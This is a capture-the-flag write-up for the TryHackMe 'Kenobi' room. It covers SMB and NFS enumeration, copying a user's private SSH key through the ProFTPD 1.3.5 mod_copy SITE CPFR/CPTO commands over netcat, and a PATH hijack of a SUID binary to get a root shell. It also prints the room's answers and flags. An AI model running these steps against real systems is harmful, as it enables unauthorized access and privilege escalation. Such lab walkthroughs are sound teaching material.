Index

Setup

We first need to connect to the tryhackme VPN server. You can get more information regarding this by visiting the Access page.

I'll be using openvpn to connect to the server. Here's the command:

```
$ sudo openvpn --config NovusEdge.ovpn
```

Enumeration

The room presents the first task: *Scan the machine with nmap, how many ports are open?*. So do we oblige…

```
$ sudo nmap -sS -vv TARGET_IP
...
PORT     STATE SERVICE      REASON
21/tcp   open  ftp          syn-ack ttl 63
22/tcp   open  ssh          syn-ack ttl 63
80/tcp   open  http         syn-ack ttl 63
111/tcp  open  rpcbind      syn-ack ttl 63
139/tcp  open  netbios-ssn  syn-ack ttl 63
445/tcp  open  microsoft-ds syn-ack ttl 63
2049/tcp open  nfs          syn-ack ttl 63
...
```

This gives us the answer to the first question:

> Scan the machine with nmap, how many ports are open?
> Answer: 7

It's always useful to do a bit of extra recon, so here's a service scan:

```
$ sudo nmap -sV -vv TARGET_IP
...
PORT     STATE SERVICE     REASON         VERSION
21/tcp   open  ftp         syn-ack ttl 63 ProFTPD 1.3.5
22/tcp   open  ssh         syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http        syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
111/tcp  open  rpcbind     syn-ack ttl 63 2-4 (RPC #100000)
```

```
139/tcp  open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
2049/tcp open  nfs_acl     syn-ack ttl 63 2-3 (RPC #100227)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
...
```

There's a samba service running on the target machine. Which is exactly what we'll be focusing on since the next task asks us to do the same. We can use the `smb-enum-shares` and `smb-enum-users` scripts to get more information for the Gaining Access section.

```
...
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-enum-shares:
|   account_used: guest
|   \\TARGET_IP\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (kenobi server (Samba, Ubuntu))
|     Users: 2
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\TARGET_IP\anonymous:
|     Type: STYPE_DISKTREE
|     Comment:
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\kenobi\share
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\TARGET_IP\print$:
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>
```

This gives us the answer to the next question:

> Using the nmap command above, how many shares have been found?
> Answer: 3

Most linux distributions come with `smbclient` already installed. We can try and use that to inspect one of the shares we enumerated. Starting off with the `anonymous` share:

```
$ smbclient //TARGET_IP/anonymous
Password for [WORKGROUP\epichackerman]:
```

```
Try "help" to get a list of possible commands.
smb: \>
```

The anonymous share does not require any password, so we can have a look around for any footholds we can find. Running the ls command, we get:

```
smb: \> ls
  .                                   D        0  Wed Sep  4 15:19:09 2019
  ..                                  D        0  Wed Sep  4 15:26:07 2019
  log.txt                             N    12237  Wed Sep  4 15:19:09 2019

                9204224 blocks of size 1024. 6877112 blocks available
```

This gives us the next question's answer:

> Once you're connected, list the files on the share. What is the file can you see?
> Answer: log.txt

We can just use the get command to download the log.txt file. Alternatively, we can also use smbget to recursively download the share:

```
smbget -R smb://TARGET_IP/anonymous
```

The contents of the log file give us vital information that can be used to infiltrate the target. This includes: - Information generated for Kenobi when generating an SSH key for the user - Information about the ProFTPD server.

There's also the answer to the next task question:

> What port is FTP running on?
> Answer: 21

The nmap scans from earlier show port 111 running the service rpcbind. This is just a server that converts remote procedure call (RPC) program number into universal addresses. When an RPC service is started, it tells rpcbind the address at which it is listening and the RPC program number its prepared to serve.

In our case, port 111 is access to a network file system. Lets use nmap to enumerate this.

We can try the following nmap scan for gaining some more information:

```
$ nmap -v -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount TARGET_IP
...

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-showmount:
|_  /var *
```

Giving us the answer to the next task:

> What mount can we see?
> Answer: /var

Gaining Access

As seen from the `log.txt` file as well as the `nmap` scans, we can see that ProFtpd is being used on the target machine. The version we got from the service scan is the answer to the next question:

> What is the version?
> Answer: 1.3.5

We can use ExploitDB or alternatively `searchsploit` from the command line to search for exploits for `ProFtpd 1.3.5`:

```
$ searchsploit proftpd 1.3.5
----------------------------------------- ---------------------------------
 Exploit Title                           |  Path
----------------------------------------- ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Executio | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command E | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command E | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                   | linux/remote/36742.txt
----------------------------------------- ---------------------------------
```

We get the answer to our next question:

> How many exploits are there for the ProFTPd running?
> Answer: 4

As can be observed, we have 4 different exploits we can try out, 3 of which are based the `mod_copy` module. The `mod_copy` module implements **`SITE CPFR`** and **`SITE CPTO`** commands, which can be used to copy files/directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination.

Since we know that the FTP service is running as `kenobi` and we have that a ssh key was generated for the same user, we can try to copy kenobi's private key using the SITE CPFR and SITE CPTO commands.

```
$ mkdir /tmp/kenobi_var
$ sudo mount -t nfs  TARGET_IP:/var /tmp/kenobi_var

$ cd /tmp/kenobi_var
$ ls -la
total 64
drwxr-xr-x 14 root root    4096 Sep  4  2019 .
drwxrwxrwt 17 root root   12288 Nov 19 19:57 ..
drwxr-xr-x  2 root root    4096 Sep  4  2019 backups
drwxr-xr-x  9 root root    4096 Sep  4  2019 cache
drwxrwxrwt  2 root root    4096 Sep  4  2019 crash
drwxr-xr-x 40 root root    4096 Sep  4  2019 lib
drwxrwsr-x  2 root staff   4096 Apr 13  2016 local
lrwxrwxrwx  1 root root       9 Sep  4  2019 lock -> /run/lock
drwxrwxr-x 10 root render  4096 Sep  4  2019 log
drwxrwsr-x  2 root mail    4096 Feb 27  2019 mail
drwxr-xr-x  2 root root    4096 Feb 27  2019 opt
lrwxrwxrwx  1 root root       4 Sep  4  2019 run -> /run
```

```
drwxr-xr-x  2 root root    4096 Jan 30  2019 snap
drwxr-xr-x  5 root root    4096 Sep  4  2019 spool
drwxrwxrwt  6 root root    4096 Nov 19 19:32 tmp
drwxr-xr-x  3 root root    4096 Sep  4  2019 www
```

We use netcat to bypass the need for a username and password:

```
$ nc  TARGET_IP  21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [TARGET_IP]
site cpfr /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
site cpto /var/tmp/id_rsa
250 Copy successful
```

We can now go to `/var/tmp` and get Kenobi's private ssh key.

```
$ cp ./tmp/id_rsa /tmp
$ ls -la id_rsa
-rw-r--r-- 1 novusedge novusedge 1675 Nov 19 20:05 id_rsa

# Change permissions on id_rsa since we need them to be 600:
$ chmod 600 id_rsa
$ ssh -i id_rsa kenobi@TARGET_IP
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

103 packages can be updated.
65 updates are security updates.


Last login: Wed Sep  4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

kenobi@kenobi:~$
```

And we're in!

We can now get the user flag:

```
kenobi@kenobi:~$ cat user.txt
d0b0f3f53b6caa532a83915e19224899
```

Privilege Escalation

Let's search for files with the SUID bit set using our new ssh session:

```
kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
```

The `/usr/bin/menu` looks like a nice candidate for the next question's answer (spoilers, it is the answer):

> What file looks particularly out of the ordinary?
> Answer: `/usr/bin/menu`

We can try running the binary to see what it does:

```
kenobi@kenobi:~$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
```

> Run the binary, how many options appear?
> Answer: 3

It presents us a prompt with 3 choices. Let's check them out:

```
kenobi@kenobi:~$ /usr/bin/menu

***************************************
1. status check
```

```
2. kernel version
3. ifconfig
** Enter your choice :1
HTTP/1.1 200 OK
Date: Sat, 19 Nov 2022 16:52:34 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 04 Sep 2019 09:07:20 GMT
ETag: "c8-591b6884b6ed2"
Accept-Ranges: bytes
Content-Length: 200
Vary: Accept-Encoding
Content-Type: text/html

kenobi@kenobi:~$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :2
4.8.0-58-generic
kenobi@kenobi:~$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
eth0      Link encap:Ethernet  HWaddr 02:96:25:af:73:19
          inet addr:TARGET_IP  Bcast:10.10.255.255  Mask:255.255.0.0
          inet6 addr: fe80::96:25ff:feaf:7319/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:9001  Metric:1
          RX packets:698 errors:0 dropped:0 overruns:0 frame:0
          TX packets:774 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:90812 (90.8 KB)  TX bytes:116721 (116.7 KB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:190 errors:0 dropped:0 overruns:0 frame:0
          TX packets:190 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:14101 (14.1 KB)  TX bytes:14101 (14.1 KB)
```

Each gives useful information that can be used in many ways. The kernel version can be used to search for exploits. We observe (by use of `strings` on the binary) that the binary uses `curl` without a full path. *So* we can manipulate the PATH variable to gain a nice root shell session:

```
kenobi@kenobi:~$ echo /bin/bash > /tmp/curl
kenobi@kenobi:~$ chmod 777 /tmp/curl
kenobi@kenobi:~$ export PATH=/tmp:$PATH
kenobi@kenobi:~$ which curl
/tmp/curl

kenobi@kenobi:~$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@kenobi:~#
```

With access to root privileges, we can now get the root flag and call it a day!

```
root@kenobi:~# cat /root/root.txt
177b3cd8562289f37382721c28381f02
```

Conclusion

I hope this writeup was useful. Please consider dropping a star and/or following me on github: https://github.com/NovusEdge

---

- Room : Kenobi
- Author: Aliasgar Khimani